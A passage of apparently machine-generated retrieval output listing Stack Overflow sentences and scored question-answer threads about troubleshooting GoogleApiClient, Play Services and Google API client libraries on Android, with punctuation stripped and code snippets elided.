1120126 says : .. . .. . The Google Play game services API should be tied to an Activity s lifecycle not a Fragment s lifecycle .", "I m fairly new to OAuth2 and I m trying to access a user s Blogger account through the Google API with Omniauth and the Google API client .", "After implementing the whole Google Drive Api by my own with the Apache HTTP client I also received those weired crash .", "Contacts are stored in the user s Google Account most Google services have access to the contact-list .", "Google s official answer for my report : .. . .. . This website is for developer issues with the AOSP Android source code and the developer toolset not Google apps or services such as Play services GMS or Google APIs .", "I have read the following questions none of which seem to work for me : .. . .. . Fatal Exception : java.lang.IllegalStateException GoogleApiClient is not connected yet http : stackoverflow.com questions 26998201 fatal-exception-java-lang-illegalstateexception-googleapiclient-is-not-connecte .. . .. . GoogleApiClient is throwing GoogleApiClient is not connected yet AFTER onConnected function getting called http : stackoverflow.com questions 29343922 googleapiclient-is-throwing-googleapiclient-is-not-connected-yet-after-onconne .. . .. . google-api-client callback is never called http : stackoverflow.com questions 29068597 google-api-client-callback-is-never-called .. . .. . Caused by : java.lang.IllegalStateException : GoogleApiClient is not connected yet http : stackoverflow.com questions 35853657 caused-by-java-lang-illegalstateexception-googleapiclient-is-not-connected-yet .. . .. . What I m trying to do is use the LocationServices API in combination with the Geofence class to check if the user is in a specified area .", "Given the redirect uri in google-client json is of function google .", "I have the problem with Google Adsense API .", "The API-key is created in google Developers Console .", "When the game comes online it syncs with the Google Play games services to update the achievement s unlocked state .", "I used GooglePlayServicesUtil s getErrorDialog method to get the error s text on watch : .. . .. . GestureControl is having trouble with Google Play services .", "However you can temporarily avoid making changes by using a Google Play Services earlier than 6.5.87 .", "I have an android application where i sign in out with google that s why i use the following Google Api Client : .. . .. . But when i want to setup this Google Api client for drive connection like this : .. . .. . I have : .. . .. . And then an error if i want to signout cause GoogleApiClient not connected due to the connectionFailed .. . .. . I have my configuration file in my folder app check all information in google developer console i dont get it .", "It is a good practice to use one object of Google API client for different purposes like activityRecognization location service and geofences in Android or we have to use one seperate object of GoogleApiClient for each one", "I was doing google sign in using Google API in my android app .", "There is either workaround or just working parameter specified at code.google.com p google-api-javascript-client issues https : code.google.com p google-api-javascript-client issues detail id 11 c11", "However when I tell the program to show the Toast when the user is connected to the Google API Client the app crashes and tells me that the Google API Client has not connected yet .", "Strange it appears I can use the regular Google+ API authentication to use the Google+ Domains API on Google s API Explorer .", "The full source code is available at https : github.com friedger google-api-client-example", "In my project i create background service which is get location using google-api-client .", "my problem is when app destroyed service is running but google-api-client automatically disconnected and cannot get lat-lang .", "@user346648 : You can reimplement the BackOffRequired interface to make it handle 403s as well : developers.google.com api-client-library java https : developers.google.com api-client-library java google-http-java-client reference 1.20.0 com google-api-client http HttpBackOffUnsuccessfulResponseHandler.BackOffRequired", "After my server receives the one-time code using https : github.com google google-api-php-client to authenticate the user with that code .", "You can find the insert id in : Class : Google : : Apis : : BigqueryV2 : : InsertAllTableDataRequest : : Row .. . .. . If you look at the Row definition it s there in the source https : github.com google google-api-ruby-client blob c530a350fc1a5bdb02b42c7a7c0dbc73d5b26dd5 generated google apis bigquery v2 classes.rb L2096 : .. . .. . You can find more documention also on RubyInfo http : www.rubydoc.info github google google-api-ruby-client Google Apis BigqueryV2 InsertAllTableDataRequest Row", "in opt lampp htdocs googleads google-api-php-client io Google REST.php : 66 Stack trace : 0 opt lampp htdocs googleads google-api-php-client io Google REST.php 36 : Google REST : : decodeHttpResponse Object Google HttpRequest 1 opt lampp htdocs googleads google-api-php-client service Google ServiceResource.php 186 : Google REST : : execute Object Google HttpRequest 2 opt lampp htdocs googleads google-api-php-client contrib Google AdSenseService.php 849 : Google ServiceResource- call generate Array 3 opt lampp htdocs googleads index.php 28 : Google ReportsServiceResource- generate 2013-01-01 2013-03-03 Array 4 main thrown in opt lampp htdocs googleads google-api-php-client io Google REST.php on line 66", "Official google documentation https : developers.google.com youtube v3 libraries have link-to this SDK https : github.com google google-api-objectivec-client .", "Gdata docs explain bridging gdata-python-client and google-api-python-client github.com google gdata-python-client blob https : github.com google gdata-python-client blob 437892ce10d0325daaaf9e91bf95c3e1c9fdabbd src gdata gauth.py L1418", "perhaps I will try to revert to a version of the google-client-api that works .", "As well as pip install - upgrade google-api-python-client .", "I may use google-api-client or yt gem .", "But how can I do it using google-api-client gem", "I have a google-cloud-platform account and I have experience using IBM Bluemix with Watson Speech API and I am not sure how to set up a similar system for the Google Speech API .", "The Application continues to work without any issues the Google Play Services popup is annoying though I see one call to getuserLocAndWeather return lost connection to google-play-services but it immediatly returns a valid result in the next call .", "You can do this by specifying which version of Google Play Services you would like to use in your build.gradle dependencies assuming you re using Android Studio : .. . .. . or .. . .. . This second one will lock you into the most recent version of google-play-services 5 .", "I am using the PHP Google client library .", "Google faq and client library description neither helpful .", "Here is working and tested code that successfully sets up an IntentService as the receiver for the Intent included in the PendingIntent used for location updates based on code found here http : www.zionsoft.net 2014 11 google-play-services-locations-2 .", "Trying to implement the same using Ruby client https : github.com google google-api-ruby-client .I can t seemed to find a way to set the insertID in the stream request reference attached here https : github.com google google-api-ruby-client blob master generated google apis bigquery v2 service.rb L646-L659 .", "ServiceB uses GoogleAPIClient https : developers.google.com android reference com google android gms common api GoogleApiClient to receive and provide location as intents to ServiceA and other clients .", "Update 2 : This bug https : github.com google google-api-javascript-client issues 108 against the JS client library for the need for double selection of mulitple account has been accepted .", "I m using Google APIs Client Library for JavaScript Beta https : developers.google.com api-client-library javascript to authorize user google account on web application for youtube manipulations .", "I m trying to send an email through Google API with JavaScript .", "I installed the google API pyDrive and httplib2 .", "I am going to use Google Sheet API .", "I am going to use Google Sheet API .", "How can this be completed with the Google Vision-API please", "you d think google would test their own code .", "Here https : github.com googlesamples google-services blob master android signin app src main java com google samples quickstart signin SignInActivity.java L85 I found the solution :", "Give me an day or so and I ll update the google-api-client gem to use the more recent version of Faraday .", "I ve got an existing Google Drive enabled application that s using the Google Java client library and server flow auth .", "My problem is that if a user is signed in with Google+ the user can no longer connect to the Google Fit client .", "I m using the latest version of Google APIs Client Library for PHP Google Calendar v.3 .", "returns .. . .. . Google Developer Console doesn t show any hits on the Google+ API .", "@Tony The program itself never crashes only Google Play Services as provided in the stacktrace that s why I m having so much trouble fixing it .", "No not possible using GoogleApiClient .", "GoogleApiClient will automatically try to reconnect .", "I m the original author of GoogleApiClient .", "Check out the PHP samples : https : code.google.com p google-api-php-client source browse svn 2Ftrunk 2Fexamples 2Fadsense", "I get the following error when I install google-api-client Previously I was installed guzzle6 due to project need .", "- google apiclient v2.0.0 requires google auth 0.8 - satisfiable by google auth v0.8 .", "This way to call GoogleApiClient works well when I use it on Activities or on Services started by Activities ." ] }
{ "confidence": [ 47.87748336791992, 47.32959747314453, 47.32959747314453, 44.920928955078125, 44.62134552001953, 44.38987731933594, 44.17854309082031, 44.17854309082031, 44.07468795776367, 43.895484924316406, 43.62607955932617, 41.62037658691406, 41.420799255371094, 40.533573150634766, 40.060096740722656, 39.48927307128906, 38.89593505859375, 38.483680725097656, 38.36127853393555, 38.0560417175293 ], "content": [ "Question : After using startResolutionForResult onActivityResult method will be called within the Activity owning the Fragment not within the Fragment itself . Also this answer http : stackoverflow.com a 16990087 1120126 says : .. . .. . The Google Play game services API should be tied to an Activity s lifecycle not a Fragment s lifecycle . Is this also valid for GoogleApiClient .. . Answer : Yes its suggested that you start a connection https : developers.google.com android guides api-client start a connection in the Activity s onCreate method .", "Question : I m trying to find out why the Google Play Services is crashing with a nullpointerexception after the application is coming back from a background state such as device sleep or toggle other program . Sometimes Google Play Services gives the crash popup on application-start . So I assume the problem lies somewhere on the path to the service since there is where the threading occurs with rxjava . GoogleApiClient is injected as a @Singleton . I ve been trying to trace why this is happening for hours now without progress any help appreciated . The Application continues to work without any issues the Google Play Services popup is annoying though I see one call to getuserLocAndWeather return lost connection to google-play-services but it immediatly returns a valid result in the next call . The actual object-reference in MainActivity and GoogleApiService is never null the reference is always the same like com.google.android.gms.internal.zzqd@a768e13 and always connected when the call is made . Trace : .. . .. . My Service class : the print out in the try for the client is always : true regardless if google-play-services crashes or not . Client : com.google.android.gms.internal.zzqd@3c738f4e Connected : true .. . .. . Presenter : .. . .. . Usecase : .. . .. . Usage in mainactivity : Comment : what if you add this on your onCreate if GoogleApiClient null GoogleApiClient new GoogleApiClient.Builder this .addConnectionCallbacks this .addOnConnectionFailedListener this .addApi LocationServices.API .build Comment : @Tony That already happens in the injector the object itself is never actually null from what I could see it always has the same reference in MainActivity and GoogleApiService Comment : when exactly the programm crashes at which function Comment : @Tony The program itself never crashes only Google Play Services as provided in the stacktrace that s why I m having so much trouble fixing it . However the crash most likely occurs on its way to fetch the data from the GoogleApiService . It s quite random in its pattern as well sometimes play services crashes at app start but most often after being in the background . Sometimes it doesn t crash at the first time after being in background which makes it so hard to locate . Comment : have never worked with injection so i can t help you any further have you tried it without the injection .. . Answer : In your onStart method only connect the googleApiClient s object and the rest things implement in onCreate method .", "Question : I m trying to find out why the Google Play Services is crashing with a nullpointerexception after the application is coming back from a background state such as device sleep or toggle other program . Sometimes Google Play Services gives the crash popup on application-start . So I assume the problem lies somewhere on the path to the service since there is where the threading occurs with rxjava . GoogleApiClient is injected as a @Singleton . I ve been trying to trace why this is happening for hours now without progress any help appreciated . The Application continues to work without any issues the Google Play Services popup is annoying though I see one call to getuserLocAndWeather return lost connection to google-play-services but it immediatly returns a valid result in the next call . The actual object-reference in MainActivity and GoogleApiService is never null the reference is always the same like com.google.android.gms.internal.zzqd@a768e13 and always connected when the call is made . Trace : .. . .. . My Service class : the print out in the try for the client is always : true regardless if google-play-services crashes or not . Client : com.google.android.gms.internal.zzqd@3c738f4e Connected : true .. . .. . Presenter : .. . .. . Usecase : .. . .. . Usage in mainactivity : Comment : what if you add this on your onCreate if GoogleApiClient null GoogleApiClient new GoogleApiClient.Builder this .addConnectionCallbacks this .addOnConnectionFailedListener this .addApi LocationServices.API .build Comment : @Tony That already happens in the injector the object itself is never actually null from what I could see it always has the same reference in MainActivity and GoogleApiService Comment : when exactly the programm crashes at which function Comment : @Tony The program itself never crashes only Google Play Services as provided in the stacktrace that s why I m having so much trouble fixing it . However the crash most likely occurs on its way to fetch the data from the GoogleApiService . It s quite random in its pattern as well sometimes play services crashes at app start but most often after being in the background . Sometimes it doesn t crash at the first time after being in background which makes it so hard to locate . Comment : have never worked with injection so i can t help you any further have you tried it without the injection .. . Answer : First thing I d go for is move https : developer.android.com reference android app Activity.html the part in onStart to onResume to make sure they are there when the user needs them as that is the last method called before the App is shown . Same thing with onStop to onPause . But somehow that would seem like a too simple an answer . Comment : Yeah it was in onResume to begin with before I started moving it around to see why it behaved like that however I ll just try to bind the call to a button instead of running it in onResume to see if that solves the problem .", "Question : null .. . Answer : I have been stuck on this for over a week now and I can t seem to figure out what exactly it is that I m doing wrong . I have read the following questions none of which seem to work for me : .. . .. . Fatal Exception : java.lang.IllegalStateException GoogleApiClient is not connected yet http : stackoverflow.com questions 26998201 fatal-exception-java-lang-illegalstateexception-googleapiclient-is-not-connecte .. . .. . GoogleApiClient is throwing GoogleApiClient is not connected yet AFTER onConnected function getting called http : stackoverflow.com questions 29343922 googleapiclient-is-throwing-googleapiclient-is-not-connected-yet-after-onconne .. . .. . google-api-client callback is never called http : stackoverflow.com questions 29068597 google-api-client-callback-is-never-called .. . .. . Caused by : java.lang.IllegalStateException : GoogleApiClient is not connected yet http : stackoverflow.com questions 35853657 caused-by-java-lang-illegalstateexception-googleapiclient-is-not-connected-yet .. . .. . What I m trying to do is use the LocationServices API in combination with the Geofence class to check if the user is in a specified area . The problem seems to lie in communicating with the Google API Client and or Locationservices API . I have declared the following in my manifest : .. . .. . I have 2 Java methods declared in my project which interact with the GoogleApiClient : .. . .. . I then call the buildGoogleApiClient in my onCreate method and call startApiClient in my onStart method : .. . .. . .. . .. . And in case neccessary the onResult method : .. . .. . The strange thing about this is that a connection actually does get instantiated for some time . When I tell the program to show the Toast when the user is not connected my Android Monitor tells me that a connection has been made but the Toast still gets triggered . However when I tell the program to show the Toast when the user is connected to the Google API Client the app crashes and tells me that the Google API Client has not connected yet . Thanks in advance for taking time out of your day to help me with this . Please forgive me if I m overseeing something very obvious .", "Question : In my app some Google APIs are optional . In this case the Games API . In my settings activity the user can choose to not signin into Google Games . There I call .. . .. . createGoogleApiClientWithoutGames method creates a new GoogleApiClient that does not use the Games API and corresponding scopes . 1 . Is this the correct way to remove api and scope from the client 2 . How can I make sure that the googleApiClient of other activities that are not yet destroyed don t use the Games API Currently when returning from the settings activity the client is connecting in onStart using the current client configuration with Games . Send a local broadcast message and recreate the client as well Comment : developers.google.com identity sign-in web incremental-auth https : developers.google.com identity sign-in web incremental-auth Comment : @IntelliJAmiya the question is for Android Comment : I have created a repo at github with a simple app that shows the problem : github.com friedger google-api-client-example issues 1 https : github.com friedger google-api-client-example issues 1 .. . Answer : I am using a status variable to check in onStart whether the current client in the MainActivity uses the correct apis . If not I recreate it before connecting . The full source code is available at https : github.com friedger google-api-client-example", "Question : So i found something that is not very clear for me about GoogleApiClient . GoogleApiClient has a function called onConnected which is ran when the client is connected for sure .. . .. . I got my own function called : startLocationListening which is eventually getting called on GoogleApiClient s onConnected function . So my startLocationListening function couldnt ran without a GoogleApiClient connection . .. . .. . Code and log : .. . .. . .. . .. . .. . The exception is : .. . .. . .. . .. . .. . My debug log also says the onConnected function got called : .. . .. . After this i got the exception . Am I missing something here I got a response for connected i ran my func and i got the error not connected whats this Plus one annoying thing is : I used this location service for weeks now and never got this error . E D I T : .. . .. . I added a more specific log output just blown my mind check this out : .. . .. . log output in this case : .. . .. . Yes i just got mGoogleApiClient.isConnected false inside onConnected how is it possible E D I T : .. . .. . Since nobody could answer this even with reputation bounty i decided to report this as a bug to Google . What next came was really surprised me . Google s official answer for my report : .. . .. . This website is for developer issues with the AOSP Android source code and the developer toolset not Google apps or services such as Play services GMS or Google APIs . Unfortunately there doesn t seem to be an appropriate place to report bugs with Play Services . All I can say is that this website isn t it sorry . Try posting on the Google Product Forums instead . Full issue report here . https : code.google.com p android issues detail id 162733 I hope they wont remove it just because its silly .. . .. . So yeah i took a look at Google Product Forums and just coudnt find any topic to post this thing so at the moment Iam puzzled and stuck . Does anyobody in planet earth could help me with this .. . .. . E D I T : .. . .. . Full code in pastebin http : pastebin.com yFw1Y7sv Comment : Could you add some logging to onConnectionSuspended as well to see whether that is called at any time Comment : @AntiVeeranna I got logging too at onConnectionSuspended at that function was never ever called . Comment : Could you also post the code that creates mGoogleApiClient Comment : @AntiVeeranna Added code in pastebin Comment : @Dima as iheanyi said Try moving your googleApiClient creation to onCreate and see if you get the same behavior . it is ensures that only one instance will born from googleApiClient and your service will no longer hold wrong references . .. . Answer : I just noticed that you are creating the googleApiClient in onStartCommand . This seems like a bad idea . Let s say that your service gets triggered twice . Two googleApiClient objects will get created but you ll only have reference to one . If the one whose reference you don t have executes its callback to onConnected you will be connected in that client but the client whose reference you actually do have could still be unconnected . I suspect that s what s going on . Try moving your googleApiClient creation to onCreate and see if you get the same behavior . Comment : Yup I think you got that right developer.android.com reference android app http : developer.android.com reference android app Service.html ServiceLifecycle Comment : @iheanyi Thank you very much for your time .", "Question : So i found something that is not very clear for me about GoogleApiClient . GoogleApiClient has a function called onConnected which is ran when the client is connected for sure .. . .. . I got my own function called : startLocationListening which is eventually getting called on GoogleApiClient s onConnected function . So my startLocationListening function couldnt ran without a GoogleApiClient connection . .. . .. . Code and log : .. . .. . .. . .. . .. . The exception is : .. . .. . .. . .. . .. . My debug log also says the onConnected function got called : .. . .. . After this i got the exception . Am I missing something here I got a response for connected i ran my func and i got the error not connected whats this Plus one annoying thing is : I used this location service for weeks now and never got this error . E D I T : .. . .. . I added a more specific log output just blown my mind check this out : .. . .. . log output in this case : .. . .. . Yes i just got mGoogleApiClient.isConnected false inside onConnected how is it possible E D I T : .. . .. . Since nobody could answer this even with reputation bounty i decided to report this as a bug to Google . What next came was really surprised me . Google s official answer for my report : .. . .. . This website is for developer issues with the AOSP Android source code and the developer toolset not Google apps or services such as Play services GMS or Google APIs . Unfortunately there doesn t seem to be an appropriate place to report bugs with Play Services . All I can say is that this website isn t it sorry . Try posting on the Google Product Forums instead . Full issue report here . https : code.google.com p android issues detail id 162733 I hope they wont remove it just because its silly .. . .. . So yeah i took a look at Google Product Forums and just coudnt find any topic to post this thing so at the moment Iam puzzled and stuck . Does anyobody in planet earth could help me with this .. . .. . E D I T : .. . .. . Full code in pastebin http : pastebin.com yFw1Y7sv Comment : Could you add some logging to onConnectionSuspended as well to see whether that is called at any time Comment : @AntiVeeranna I got logging too at onConnectionSuspended at that function was never ever called . Comment : Could you also post the code that creates mGoogleApiClient Comment : @AntiVeeranna Added code in pastebin Comment : @Dima as iheanyi said Try moving your googleApiClient creation to onCreate and see if you get the same behavior . it is ensures that only one instance will born from googleApiClient and your service will no longer hold wrong references . .. . Answer : moving the googleApi creation to onCreate resolved the issue for me .", "Question : So i found something that is not very clear for me about GoogleApiClient . GoogleApiClient has a function called onConnected which is ran when the client is connected for sure .. . .. . I got my own function called : startLocationListening which is eventually getting called on GoogleApiClient s onConnected function . So my startLocationListening function couldnt ran without a GoogleApiClient connection . .. . .. . Code and log : .. . .. . .. . .. . .. . The exception is : .. . .. . .. . .. . .. . My debug log also says the onConnected function got called : .. . .. . After this i got the exception . Am I missing something here I got a response for connected i ran my func and i got the error not connected whats this Plus one annoying thing is : I used this location service for weeks now and never got this error . E D I T : .. . .. . I added a more specific log output just blown my mind check this out : .. . .. . log output in this case : .. . .. . Yes i just got mGoogleApiClient.isConnected false inside onConnected how is it possible E D I T : .. . .. . Since nobody could answer this even with reputation bounty i decided to report this as a bug to Google . What next came was really surprised me . Google s official answer for my report : .. . .. . This website is for developer issues with the AOSP Android source code and the developer toolset not Google apps or services such as Play services GMS or Google APIs . Unfortunately there doesn t seem to be an appropriate place to report bugs with Play Services . All I can say is that this website isn t it sorry . Try posting on the Google Product Forums instead . Full issue report here . https : code.google.com p android issues detail id 162733 I hope they wont remove it just because its silly .. . .. . So yeah i took a look at Google Product Forums and just coudnt find any topic to post this thing so at the moment Iam puzzled and stuck . Does anyobody in planet earth could help me with this .. . .. . E D I T : .. . .. . Full code in pastebin http : pastebin.com yFw1Y7sv Comment : Could you add some logging to onConnectionSuspended as well to see whether that is called at any time Comment : @AntiVeeranna I got logging too at onConnectionSuspended at that function was never ever called . Comment : Could you also post the code that creates mGoogleApiClient Comment : @AntiVeeranna Added code in pastebin Comment : @Dima as iheanyi said Try moving your googleApiClient creation to onCreate and see if you get the same behavior . it is ensures that only one instance will born from googleApiClient and your service will no longer hold wrong references . .. . Answer : I had this issue when I accidentaly but googleApiClient.connect in oncreate and onresume . Just removed it from oncreate .", "Question : null .. . Answer : It is a good practice to use one object of Google API client for different purposes like activityRecognization location service and geofences in Android or we have to use one seperate object of GoogleApiClient for each one My main task is to save battery life and less resource utilization . Comment : what do you mean by use one object of Google API client Comment : My meaning is to create one class that provide google-api-client object and also responsible to connect disconnect google-api-client object . and separate classes for location provider and geofence manager and activityRecognization api . and all these class will use one class that provider google-api-client object .", "Question : null .. . Answer : I m developing an Android and Android Wear app where I use GoogleApiClient to communicate between Moto 360 smartwatch an Nexus 7 tablet . Everything worked fine until now . When I install my application to my smartwatch the connection to the Google Api failed and in my onConnectionFailed method I get this error above . I used GooglePlayServicesUtil s getErrorDialog method to get the error s text on watch : .. . .. . GestureControl is having trouble with Google Play services . If the problem persists please contact the developer for assistance . I already tried to factory reset my Moto 360 and reinstall the Android Wear on my Nexus 7 but it didn t help . Anyone some help Comment : Please post the code you re using to attempt connection to GoogleApiClient . Comment : here s the code of watch : mGoogleApiClient new GoogleApiClient.Builder this .addApi Wearable.API .addConnectionCallbacks this .addOnConnectionFailedListener this .addApi AppIndex.API .build + in onResume : mGoogleApiClient.connect", "Question : I made the bad move of updating my Android SDKs and now my app is all jammed up . Android Studio is not showing me any errors in my code but when I compile I get several build errors that say cannot find symbol class LocationClient .. . .. . I ve read several threads about this and they seem to point to the idea of using GoogleApiClient in-place of LocationClient . I really would prefer not to have to make this change right now . Is there any other way the remedy this .. . Answer : Using GoogleApiClient in-place of LocationClient is the long-term solution . However you can temporarily avoid making changes by using a Google Play Services earlier than 6.5.87 . LocationClient class was removed in 6.5.87 . You can do this by specifying which version of Google Play Services you would like to use in your build.gradle dependencies assuming you re using Android Studio : .. . .. . or .. . .. . This second one will lock you into the most recent version of google-play-services 5 .", "Question : So i found something that is not very clear for me about GoogleApiClient . GoogleApiClient has a function called onConnected which is ran when the client is connected for sure .. . .. . I got my own function called : startLocationListening which is eventually getting called on GoogleApiClient s onConnected function . So my startLocationListening function couldnt ran without a GoogleApiClient connection . .. . .. . Code and log : .. . .. . .. . .. . .. . The exception is : .. . .. . .. . .. . .. . My debug log also says the onConnected function got called : .. . .. . After this i got the exception . Am I missing something here I got a response for connected i ran my func and i got the error not connected whats this Plus one annoying thing is : I used this location service for weeks now and never got this error . E D I T : .. . .. . I added a more specific log output just blown my mind check this out : .. . .. . log output in this case : .. . .. . Yes i just got mGoogleApiClient.isConnected false inside onConnected how is it possible E D I T : .. . .. . Since nobody could answer this even with reputation bounty i decided to report this as a bug to Google . What next came was really surprised me . Google s official answer for my report : .. . .. . This website is for developer issues with the AOSP Android source code and the developer toolset not Google apps or services such as Play services GMS or Google APIs . Unfortunately there doesn t seem to be an appropriate place to report bugs with Play Services . All I can say is that this website isn t it sorry . Try posting on the Google Product Forums instead . Full issue report here . https : code.google.com p android issues detail id 162733 I hope they wont remove it just because its silly .. . .. . So yeah i took a look at Google Product Forums and just coudnt find any topic to post this thing so at the moment Iam puzzled and stuck . Does anyobody in planet earth could help me with this .. . .. . E D I T : .. . .. . Full code in pastebin http : pastebin.com yFw1Y7sv Comment : Could you add some logging to onConnectionSuspended as well to see whether that is called at any time Comment : @AntiVeeranna I got logging too at onConnectionSuspended at that function was never ever called . Comment : Could you also post the code that creates mGoogleApiClient Comment : @AntiVeeranna Added code in pastebin Comment : @Dima as iheanyi said Try moving your googleApiClient creation to onCreate and see if you get the same behavior . it is ensures that only one instance will born from googleApiClient and your service will no longer hold wrong references . .. . Answer : I had the same error but my problem was that I had For people who still get the error even with iheanyl s answer : I had declared the googleApiClient static . This prevented android from shutting down the service .", "Question : null .. . Answer : I have an android application where i sign in out with google that s why i use the following Google Api Client : .. . .. . But when i want to setup this Google Api client for drive connection like this : .. . .. . I have : .. . .. . And then an error if i want to signout cause GoogleApiClient not connected due to the connectionFailed .. . .. . I have my configuration file in my folder app check all information in google developer console i dont get it .", "Question : null .. . Answer : Hello all i am using google sign-in integration in my android app and everything is working fine but actually i also want to get user date-of-birth and his gender now does google provide this if google provides this then what should i define in scopes inside my googleapiclient builder.My code for getting default-sign-in information is given below please tell me where should i use above two scopes to fetch them from api . Comment : did you get gender Comment : no can you please tell me how can i do that if you know please Comment : i am trying for the same i got the gender but the birthday always returns null Comment : how didi u got the gender i am getting null for Plus.PeopleApi.getCurrentPerson mGoogleApiClient Comment : Does this one answer your question : stackoverflow.com a 33906880 5001016 http : stackoverflow.com a 33906880 5001016", "Question : As usual there is a lot of code in my LoginActivity and I really would prefer to separate the Activity responsibilities from the Google Play sign in concerns . After rewriting this LoginActivity code several times in many different apps the easy and not so elegant solution was create the Google API client as a Application class object . But since the connection state affect the UX flow I never was happy about with this approach . Is there an elegant way of place the GoogleApiClient outside the Activity .. . Answer : 0 . TL DR .. . .. . For the impatient coder a working version of the following implementation can be found on GitHub https : github.com jpventura google-play-services tree wip Identity Lessons Final UdacityPlus2 1 . Reducing our problem only to the connection concept we may consider that : .. . .. . 1 . It has finite states . 2 . It encapsulates the connection client . 3 . It is rather be unique . 4 . The current state affect the behavior of the app . 1 . State Pattern .. . .. . This is a behavioral pattern the allow an object to alter its behavior when its internal state changes . The GoF Design Patterns book http : rads.stackoverflow.com amzn click 0201633612 describes how a TCP connection can be represent by this pattern which is also our case . A state from a state machine should be a singleton and the easiest away of doing it in Java was to create Enum named State as follows : .. . .. . The Activity will communicate with the Connection abstract-class which holds the context through the methods connect disconnect and revoke . The current state defines how these methods will behave : .. . .. . 2 . Proxy Pattern .. . .. . The class GoogleConnection inherits from Connection and encapsulates the GoogleApiClient so it must provide both ConnectionCallbacks and OnConnectionFailedListener as follows : .. . .. . The methods onSignIn onSignUp onSignOut and onRevokeAndSignOut are required on the second step of this explanation . 3 . Singleton Pattern .. . .. . Since there is not need to recreate this class repeatedly we provide it as a singleton : .. . .. . 4 . Observable Pattern .. . .. . The Connection class extends Java Observable so one or many activities can observe the state changes :", "Question : I am using GoogleApiClient for listening for location on a Service that starts on boot through a BroadcastReceiver that listens to android.intent.action.BOOT COMPLETED . On the service I use : .. . .. . The service starts on boot but my problem is that neither mConnectionCallbacks nor mOnConnectionFailedListener are ever called . Is there something wrong with what I m doing . This way to call GoogleApiClient works well when I use it on Activities or on Services started by Activities . Thank you .. . Answer : Comment : Are methods related to location also dependent on NetworkInfo Would this work when offline Comment : @buzoherbert this method is recommended officially by android here github.com googlesamples android-play-location tree master https : github.com googlesamples android-play-location tree master BasicLocationSample And it is based on Google playservice . I used network info just for checking whether internet-connection is alive or not . you can ignore it.. . thanks Comment : Thank you but then this doesn t address my question . I have the same implementation but on a service that starts on boot . And that s where it doesn t work . Comment : tried by implementing LocationListener cuz it is working for me", "Question : TL DR GoogleFit Api client does not connect if is signed in with Google+ .. . .. . So.. . I m facing a problem when using GoogleFit and Google+ api together . I am using Google+ to sign in a user and using GoogleFit to retrieve fitness . Besides Google+ I have several other login options such as Facebook and Twitter . My problem is that if a user is signed in with Google+ the user can no longer connect to the Google Fit client . Basically when the button to connect to GoogleFit is pressed nothing happens . IF the user authenticates with Facebook or Twitter the GoogleFit client can connect just fine.. . Here are some relevant code from this activity : .. . .. . Google+ client : .. . .. . Google Fit client this method is called whenever the user press the button to link GoogleFit to the app : .. . .. . Lifecycle stuff : .. . .. . Any suggestions .. . Answer : It s not a solution but a suggestion I can t comment . Maybe the problem comes from that you can be only be connected with GoogleApiClient only one time . You are connected with Google+ scope and so when you try to connect with Fit scope it could not work because you are already connected . Maybe you can use two types of connection : .. . .. . One with Google Plus only .. . One with Google Plus AND Google Fit scope . It could be like this : .. . .. . Hope it could help... .", "Question : I am using GoogleApiClient in a service to request fused location updates . Every thing is working correctly but sometimes the connection is suspended and onConnectionSuspended is called . In the link above ConnectionCallback doc it says : .. . .. . Applications should disable UI components that require the service and wait for a call to onConnected Bundle to re-enable them . But how this call to onConnected will happen should i call mGoogleApiClient.connect again or the mGoogleApiClient will continue trying to connect even after a connection suspension .. . Answer : GoogleApiClient will automatically try to reconnect . You do not need to call connect again . Comment : Hi Hounshell thank you for your answer but how can you be sure about it is there any doc saying so Comment : I m the original author of GoogleApiClient . I ll try to add a documentation note for the next release that clarifies this . Comment : @Hounshell Thank you . And the process of signing out from Google plus is tediously troublesome . Can you document that too please There are dozens of questions regarding that on stackOverflow . The documentation is very narrow and misleading as compared to that of Facebook . Comment : Hi @Hounshell please remove the connect call from the onConnectionSuspended in the quickstart apps https : github.com googleplus gplus-quickstart-android blob master app src main java com google android gms plus sample quickstart MainActivity.java then thanks . Comment : Interestingly I just filed a Pull Request for this myself today at github.com googlesamples android-play-location pull 3 https : github.com googlesamples android-play-location pull 3", "Question : null .. . Answer : The Android app I am working on has two services- ServiceA and ServiceB where the former starts the latter . ServiceB uses GoogleAPIClient https : developers.google.com android reference com google android gms common api GoogleApiClient to receive and provide location as intents to ServiceA and other clients . I am trying to use GoogleAPIClient to get location on ServiceB like this : .. . .. . There are two scenarios on how ServiceA starts to later start ServiceB : .. . .. . 1 . Bound https : developer.android.com guide components bound-services.html and started by the Activity . Intent serviceA new Intent context ServiceA.class .. . bindService serviceA mConnection Context.BIND AUTO CREATE .. . .. . .. . 2 . On boot through a BroadcastReceiver that listens to android.intent.action.BOOT COMPLETED . @Override .. . public void onReceive Context context Intent intent .. . Intent serviceA new Intent context ServiceA.class .. . startWakefulService context serviceA .. . .. . .. . .. . After starting ServiceA starts ServiceB like this : .. . .. . In both cases ServiceA and ServiceB are started . Everything works well for case 1 starting from Activity but when using case 2 starting on boot after ServiceB starts and calls mGoogleApiClient.connect there is no notification to mOnConnectionFailedListener and mConnectionCallbacks even after waiting for several minutes . I don t understand what is the difference between the two cases that makes GoogleAPIClient ultimately not work but I suspect it has something to do with the Context used to start ServiceA as it is an Activity on case 1 and a Context provided on the BroadcastReceiver on case 2 . I need help in fixing this issue . Thanks in advance . .. . .. . UPDATE 1 .. . .. . I m using Google Play Services version 8.4.0 .. . .. . UPDATE 2 .. . .. . After changed to version 9.2.1 there are still no callbacks .", "Question : Symbolized : .. . .. . And than the app crashes . Google Drive API Client Library . Comment : Are you sure the jar is making it into the build Are you installing on a device emulator image which supports this Comment : Hardware devices Nexus 4 which definitly supports it Comment : The Problem with the Dex optimization is fixed I had to download the play services library again however the app still crashes .. . Answer : I found the bug . After implementing the whole Google Drive Api by my own with the Apache HTTP client I also received those weired crash . As a result it wasn t the Google Drive API which was buggy . I m using the Picasso Library for fetching images in several adapters . Picasso uses the OkHttp Library to fetch those images . OkHttp seems to change something on the SSL context which causes all HTTPClients to behave pretty strange . You can find a discussion and solution here : https : github.com square okhttp issues 184 Comment : Thanks for your research We were having the same problem having recently started using the picasso.jar + okhttp.jar as well . Comment : +1 Jeez this was causing me a headache - would not have found this - many thanks Comment : Run into the same issue trying to get Google Analytics v 3.0.1 to work . The solution at GitHub fixed it I used this https : github.com UweTrottmann getglue-java commit 1be1a6ddea933c5f4f38d212775432c8cfbc413f specifically . Also despite subsequent Service unavailable code 1 warnings http : stackoverflow.com questions 19707380 google-analytics-v3-for-android-service-unavailable-code-1-using-local-store it was actually working ." ] }
